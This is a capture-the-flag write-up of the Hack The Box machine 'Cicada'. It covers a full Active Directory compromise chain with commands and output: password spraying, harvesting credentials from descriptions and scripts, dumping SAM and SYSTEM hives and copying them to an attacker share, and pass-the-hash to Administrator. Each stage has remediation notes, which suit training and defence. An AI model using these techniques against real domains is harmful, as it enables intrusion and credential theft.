



RETIRED MACHINE

Cicada

Machine Writeup · Hack The Box

4.3 ★

RATING

Easy

DIFFICULTY

Windows

OS

11,243

USER OWNS

10,187

SYSTEM OWNS

20

POINTS

MACHINE SYNOPSIS

Cicada is an Easy Windows Active Directory machine ideal for learning beginner AD enumeration. Guest SMB access reveals an HR share containing a welcome note with a default password (Cicada\$M6Corpb*@Lp#nZp!8). RID brute-forcing enumerates domain users; password spraying identifies michael.wrightson as the account that hasn't changed the default password. Authenticated rpcclient enumeration reveals david.orelous stored his password in his AD Description field (aRt\$Lp#7t*VQ!3). David has read access to the DEV share containing Backup_script.ps1 with emily.oscars credentials in plaintext (Q!3@Lp#M6b*7t*Vt). Emily has WinRM access (Pwn3d!) and SeBackupPrivilege. reg save dumps SAM + SYSTEM hives; impacket-secretsdump extracts the Administrator NTLM hash (2b87e7c93a3e8a0ea4a581937016f341). evil-winrm Pass-the-Hash grants NT AUTHORITY\SYSTEM and the root flag.

CONTENTS

01 Reconnaissance & SMB Guest Enumeration

02 HR Share — Default Password in Welcome Note

03 RID Brute Force + Password Spray → michael.wrightson

04 rpcclient — david.orelous Password in Description

05 DEV Share — Backup_script.ps1 → emily.oscars

06 evil-winrm — User Flag & SeBackupPrivilege

07 reg save → secretsdump → Administrator Hash → Root

08 Lessons Learned



Martí Hervás
Penetration Tester · Hack The Box · 2026

01

Reconnaissance & SMB Guest Enumeration

TTL 127 confirms Windows. Nmap reveals a classic Domain Controller port profile: DNS (53), Kerberos (88), LDAP (389/636/3268/3269), SMB (139/445), and WinRM (5985). LDAP certificates confirm the domain **cicada.htb** and hostname **CICADA-DC**, running Windows Server 2022 Build 20348. Clock-skew of 7 hours detected — time sync required for Kerberos. SMB signing is enabled and required. **Guest authentication is enabled** on SMB, revealing two readable shares: **HR** (accessible) and **IPC\$**. The **DEV** share exists but is not readable as Guest.

NMAP — PORT DISCOVERY + VERSION SCAN

nmap — cicada.htb, CICADA-DC, Windows Server 2022 Build 20348

```
$ ping -c 1 10.129.231.149 # TTL 127 -> Windows

$ nmap -Pn -n --open -p- --min-rate 5000 10.129.231.149 -oG allPorts
[*] Open ports: 53,88,135,139,389,445,464,593,636,3268,3269,5985,56657

$ nmap -Pn -n -sCV -p53,88,389,445,5985 10.129.231.149 -oN target_tcp
53/tcp    open  domain      Simple DNS Plus
88/tcp    open  kerberos    Microsoft Windows Kerberos
389/tcp   open  ldap        (Domain: cicada.htb)
           commonName=CICADA-DC.cicada.htb
445/tcp   open  microsoft-ds?
5985/tcp  open  http        Microsoft HTTPAPI 2.0 <- WinRM

| smb2-security-mode: Message signing enabled and required
|_clock-skew: mean: 7h00m07s <- sync before Kerberos ops
Service Info: Host: CICADA-DC; OS: Windows Server 2022
```

SMB GUEST — SHARE ENUMERATION

netexec SMB Guest — HR share readable, DEV inaccessible

```
# Guest auth enabled:
$ nxc smb 10.129.231.149 -u 'Guest' -p ''
SMB  CICADA-DC  [*] Windows Server 2022 Build 20348 x64
SMB  CICADA-DC  [+] cicada.htb\Guest:

$ nxc smb 10.129.231.149 -u 'Guest' -p '' --shares
SMB  CICADA-DC  Share      Permissions
SMB  CICADA-DC  ADMIN$
SMB  CICADA-DC  C$
SMB  CICADA-DC  DEV        <- no Guest access
SMB  CICADA-DC  HR         READ    <- accessible!
SMB  CICADA-DC  IPC$       READ
SMB  CICADA-DC  NETLOGON
SMB  CICADA-DC  SYSVOL
```

NOTE

Guest SMB authentication on a domain controller is a critical misconfiguration. It allows any unauthenticated attacker to enumerate shares and read accessible content without any domain credentials. SMB guest access should be disabled in all production environments via Group Policy: Computer Configuration > Windows Settings > Security Settings > Local Policies.

02**HR Share — Default Password in Welcome Note**

The HR share contains a single file: **Notice from HR.txt**. This welcome note for new hires includes the domain-wide **default password: Cicada\$M6Corpb*@Lp#nZp!8**. The note instructs users to change it upon first login — but not all users comply. This single credential, combined with a user list, enables a **password spray** attack across all domain accounts.

HR SHARE — DOWNLOAD & READ Notice from HR.txt

HR share — default password Cicada\$M6Corpb*@Lp#nZp!8 disclosed

```
$ smbclient //10.129.231.149/HR -N
smb: \> ls
      Notice from HR.txt      A  1266  Wed Aug 28 19:31:48 2024
smb: \> mget *
Get file Notice from HR.txt? yes
getting file \Notice from HR.txt (3.9 KiloBytes/sec)

$ cat 'Notice from HR.txt'

Dear new hire!
Welcome to Cicada Corp! As part of our security protocols,
it's essential that you change your default password.

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

To change your password: [instructions follow...]
```

NOTE

Storing default passwords in plain-text files on network shares is a severe misconfiguration. Even if the intent is to provide initial access instructions, the credential is exposed to any user (including Guest) who can read the share. Use secure password distribution mechanisms (encrypted email, helpdesk portal with MFA) and enforce password change at first login via AD account policies.

03

RID Brute Force + Password Spray → michael.wrightson

Guest SMB access permits **RID brute-forcing** — enumerating domain SIDs by iterating through RID values. NetExec's `--rid-brute` reveals 5 regular domain users. **kerbrute** validates all usernames against Kerberos (8 valid, including service accounts). A **password spray** with the default credential against all users identifies **michael.wrightson** as the account that hasn't changed the default password: **michael.wrightson:Cicada\$M6Corpb*@Lp#nZp!8**.

RID BRUTE FORCE — DOMAIN USER ENUMERATION

--rid-brute — 5 domain users + service accounts enumerated

```
$ nxc smb 10.129.231.149 -u 'guest' -p '' --rid-brute \
  | grep 'SidTypeUser' | awk '{print $6}' > users

$ cat users
CICADA\Administrator
CICADA\Guest
CICADA\krbtgt
CICADA\CICADA-DC$
CICADA\john.smoulder
CICADA\sarah.dantelia
CICADA\michael.wrightson
CICADA\david.orelious
CICADA\emily.oscars
```

KERBRUTE — VALIDATE USERS

kerbrute — 8 valid domain usernames confirmed

```
$ kerbrute userenum --dc 10.129.231.149 -d cicada.htb users

[+] VALID USERNAME: michael.wrightson@cicada.htb
[+] VALID USERNAME: sarah.dantelia@cicada.htb
[+] VALID USERNAME: john.smoulder@cicada.htb
[+] VALID USERNAME: Guest@cicada.htb
[+] VALID USERNAME: emily.oscars@cicada.htb
[+] VALID USERNAME: Administrator@cicada.htb
[+] VALID USERNAME: david.orelious@cicada.htb
[+] VALID USERNAME: CICADA-DC@cicada.htb
Done! Tested 9 usernames (8 valid) in 0.111 seconds
```

PASSWORD SPRAY — michael.wrightson STILL USING DEFAULT

password spray — michael.wrightson using default Cicada\$M6Corpb*@Lp#nZp!8

```
# Spray default password against all domain users:
$ nxc smb 10.129.231.149 -u users -p 'Cicada$M6Corpb*@Lp#nZp!8'
SMB CICADA-DC [-] cicada\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB CICADA-DC [-] cicada\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB CICADA-DC [+] cicada\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8 <- HIT!

# michael.wrightson hasn't changed the default password
```

04

rpcclient — david.orelious Password in AD Description

Authenticated as michael.wrightson, **rpcclient** enumerates domain user details via enumdomusers and queryuser. The **Description field** of david.orelious contains his password in cleartext: *"Just in case I forget my password is aRt\$Lp#7t*VQ!3"*. Any authenticated domain user can read AD Description fields — this is a classic Active Directory credential exposure vector. Alternatively, nxc smb --users also returns description fields in its output, making this discoverable without an interactive rpcclient session.

RPCCLIENT — enumdomusers + queryuser

rpcclient queryuser — david.orelious password in Description field

```
$ rpcclient -U 'michael.wrightson%Cicada$M6Corpb*@Lp#nZp!8' 10.129.231.149
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[michael.wrightson] rid:[0x452]
user:[david.orelious] rid:[0x454] <- RID 0x454 = 1108 decimal
user:[emily.oscars] rid:[0x641]

rpcclient $> queryuser 0x454
User Name      : david.orelious
Description    : Just in case I forget my password is aRt$Lp#7t*VQ!3

# Password in AD Description: david.orelious : aRt$Lp#7t*VQ!3
```

ALTERNATIVE — netexec --users ALSO RETURNS DESCRIPTIONS

nxc --users — description field visible without rpcclient

```
# Faster one-liner to find passwords in descriptions:
$ nxc smb 10.129.231.149 -u michael.wrightson \
  -p 'Cicada$M6Corpb*@Lp#nZp!8' --users

SMB  CICADA-DC  david.orelious  <.>  Just in case I forget my password is aRt$Lp#7t*VQ!3

# --users flag returns: Username, Last PW Set, BadPW, Description
# Always check description fields! Frequently contains cleartext passwords.
```

NOTE

Active Directory Description fields are readable by all authenticated domain users by default. Administrators frequently store passwords, service notes, or temporary credentials in this field for convenience. Always enumerate user descriptions with rpcclient queryuser, enum4linux-ng, or nxc --users. Never store credentials, passwords, or sensitive information in AD Description fields.

05

DEV Share — Backup_script.ps1 → emily.oscars Credentials

With david.orelious credentials, share enumeration reveals he has **READ access to the DEV share** — previously inaccessible. The share contains a single PowerShell script: **Backup_script.ps1**. The script hardcodes **emily.oscars credentials in plaintext**: ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force. This is a common misuse of PSCredential — the password is visible in the script source regardless of the SecureString conversion. NetExec confirms emily.oscars has WinRM access (Pwn3d!).

DEV SHARE — Backup_script.ps1 DOWNLOAD

DEV share (david.orelious) — Backup_script.ps1 downloaded

```
$ nxc smb 10.129.231.149 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --shares
SMB  CICADA-DC  DEV      READ  <- now accessible!
SMB  CICADA-DC  HR       READ

$ smbclient //10.129.231.149/DEV -U 'david.orelious%aRt$Lp#7t*VQ!3'
smb: \> ls
      Backup_script.ps1      A 601 Wed Aug 28 19:28:22 2024
smb: \> get Backup_script.ps1
getting file \Backup_script.ps1 (3.2 KiloBytes/sec)
```

BACKUP_SCRIPT.PS1 — emily.oscars PLAINTEXT PASSWORD

Backup_script.ps1 — emily.oscars:Q!3@Lp#M6b*7t*Vt in plaintext

```
$ cat Backup_script.ps1

$sourceDirectory = 'C:\smb'
$destinationDirectory = 'D:\Backup'

$username = 'emily.oscars'
$password = ConvertTo-SecureString 'Q!3@Lp#M6b*7t*Vt' -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)

$dateStamp = Get-Date -Format 'yyyyMMdd_HH:mm:ss'
$backupFileName = "smb_backup_$dateStamp.zip"
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host 'Backup completed successfully.'

# emily.oscars : Q!3@Lp#M6b*7t*Vt
```

WINRM VALIDATION — emily.oscars Pwn3d!

netexec WinRM — emily.oscars Pwn3d!

```
$ nxc winrm 10.129.231.149 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
WINRM  CICADA-DC  [+] cicada.htb\emily.oscars:Q!3@Lp#M6b*7t*Vt (Pwn3d!)

# emily.oscars is in Remote Management Users -> WinRM access!
```

06

evil-winrm — User Flag & SeBackupPrivilege Discovery

Evil-winrm connects as emily.oscars and the user flag is on her Desktop. Running whoami /priv reveals a critical Windows privilege: **SeBackupPrivilege** — the ability to read any file on the system regardless of DACL, designed for backup operators. This privilege can be abused to read the SAM and SYSTEM registry hives, which contain local account password hashes including the Administrator hash.

EVIL-WINRM — SESSION + USER FLAG

evil-winrm — emily.oscars shell, user flag obtained

```
$ evil-winrm -i 10.129.231.149 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents>

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> type user.txt
3071e6b3e88c3499ad6d2baed2d28a22
```

SEBACKUPPRIVILEGE — PRIVILEGE ESCALATION VECTOR

whoami /priv — SeBackupPrivilege enabled (Backup Operators)

```
*Evil-WinRM* PS C:\> whoami /priv

Privilege Name      Description              State
=====
SeBackupPrivilege   Back up files and directories Enabled <- KEY!
SeRestorePrivilege  Restore files and directories Enabled
SeShutdownPrivilege Shut down the system     Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase process working set Disabled

# SeBackupPrivilege -> can bypass DACL on any file
# -> read SAM + SYSTEM hives -> dump local hashes -> Administrator NTLM
```

07

reg save → secretdump → Administrator Hash → Root

SeBackupPrivilege allows using reg save to dump the **SAM** (Security Account Manager) and **SYSTEM** registry hives to disk. These files contain the local Administrator NTLM hash, derivable offline with **impacket-secretsdump**. The hives are copied to the attacker via SMB or direct download. secretdump extracts: **Administrator NTLM: 2b87e7c93a3e8a0ea4a581937016f341**. NetExec validates the hash (Pwn3d!) and evil-winrm with -H (Pass-the-Hash) grants an Administrator shell — the root flag is on the Desktop.

REG SAVE — DUMP SAM + SYSTEM HIVES

reg save — SAM + SYSTEM hives dumped via SeBackupPrivilege

```
Evil-WinRM* PS C:\> cd C:\Temp

# Dump registry hives using SeBackupPrivilege:
*Evil-WinRM* PS C:\Temp> reg save hklm\system C:\Temp\system.hive
The operation completed successfully.

*Evil-WinRM* PS C:\Temp> reg save hklm\sam C:\Temp\sam.hive
The operation completed successfully.

# Exfiltrate via SMB share to attacker:
*Evil-WinRM* PS C:\Temp> copy system.hive \\10.10.14.91\compartido\system.hive
*Evil-WinRM* PS C:\Temp> download sam.hive
Info: Download successful!
```

IMPACKET-SECRETS_DUMP — EXTRACT ADMINISTRATOR HASH

secretsdump LOCAL — Administrator NTLM hash extracted

```
$ impacket-secretsdump -sam sam.hive -system system.hive LOCAL
Impacket v0.14.0 - Copyright Fortra, LLC
[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)

Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up...

# Administrator NTLM: 2b87e7c93a3e8a0ea4a581937016f341
```

PASS-THE-HASH → ADMINISTRATOR SHELL + ROOT FLAG

PtH evil-winrm — Administrator shell, root flag. Full compromise!

```
# Validate hash:
$ nxc smb 10.129.231.149 -u 'Administrator' -H '2b87e7c93a3e8a0ea4a581937016f341'
SMB CICADA-DC [+] cicada.htb\Administrator:2b87e7c93a3e8a0ea4a581937016f341 (Pwn3d!)

# evil-winrm Pass-the-Hash:
$ evil-winrm -i 10.129.231.149 -u 'Administrator' -H '2b87e7c93a3e8a0ea4a581937016f341'
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
cicada\administrator

*Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt
981d4720ee680b750917bf1aac6b57a5

# MACHINE COMPROMISED — Administrator via SeBackupPrivilege + PtH
```

NOTE

SeBackupPrivilege is part of the Backup Operators built-in group. Members can read ANY file including protected system files, registry hives, and NTDS.DIT. The reg save + secretdump technique only extracts LOCAL SAM hashes — on a real DC, diskshadow or ntdsutil to access NTDS.DIT would be needed for domain hashes. Minimize Backup Operators group membership and audit privilege assignments regularly.

08**Lessons Learned****01****Guest SMB Access on DCs Enables Unauthenticated Enumeration**

Guest authentication allowed RID brute-forcing to enumerate all domain users and read the HR share without any credentials. Disable SMB Guest access via Group Policy on all systems, especially domain controllers. SMB null sessions and guest access are a first step in almost every unauthenticated Active Directory attack chain.

02**Default Passwords in Readable Network Files Are High-Risk**

The HR welcome note exposed the domain-wide default password to any unauthenticated user. Even one user not changing it (michael.wrightson) enabled the entire attack chain. Never distribute credentials via network shares. Enforce Must Change Password at Next Logon for all new accounts, and use a secure channel (encrypted helpdesk ticket, one-time secret URL) for initial credential delivery.

03**AD Description Fields Are Readable by All Domain Users**

david.orelous stored his password in his AD account Description field — visible to any authenticated user via rpcclient, ldap, or netexec --users. Run regular audits with: Get-ADUser -Filter * -Properties Description | Where-Object {\$_.Description -ne \$null} to identify accounts with potentially sensitive data in description fields.

04**Hardcoded Credentials in PowerShell Scripts Are Plaintext Exposure**

ConvertTo-SecureString with -AsPlainText -Force does NOT encrypt the password — it converts a string to a SecureString object in memory, but the source script still contains the plaintext password. Any user who can read the script file can extract the credential. Store credentials in Windows Credential Manager, Azure Key Vault, or encrypted config files with restricted ACLs.

05**SeBackupPrivilege Enables Reading Protected System Files**

Members of Backup Operators (or any account granted SeBackupPrivilege) can read the SAM and SYSTEM hives to extract local password hashes. On a DC, this extends to the NTDS.DIT file containing all domain hashes. Audit Backup Operators group membership, restrict SeBackupPrivilege to dedicated backup service accounts only, and monitor reg save commands in Windows Event Log (Event ID 4662).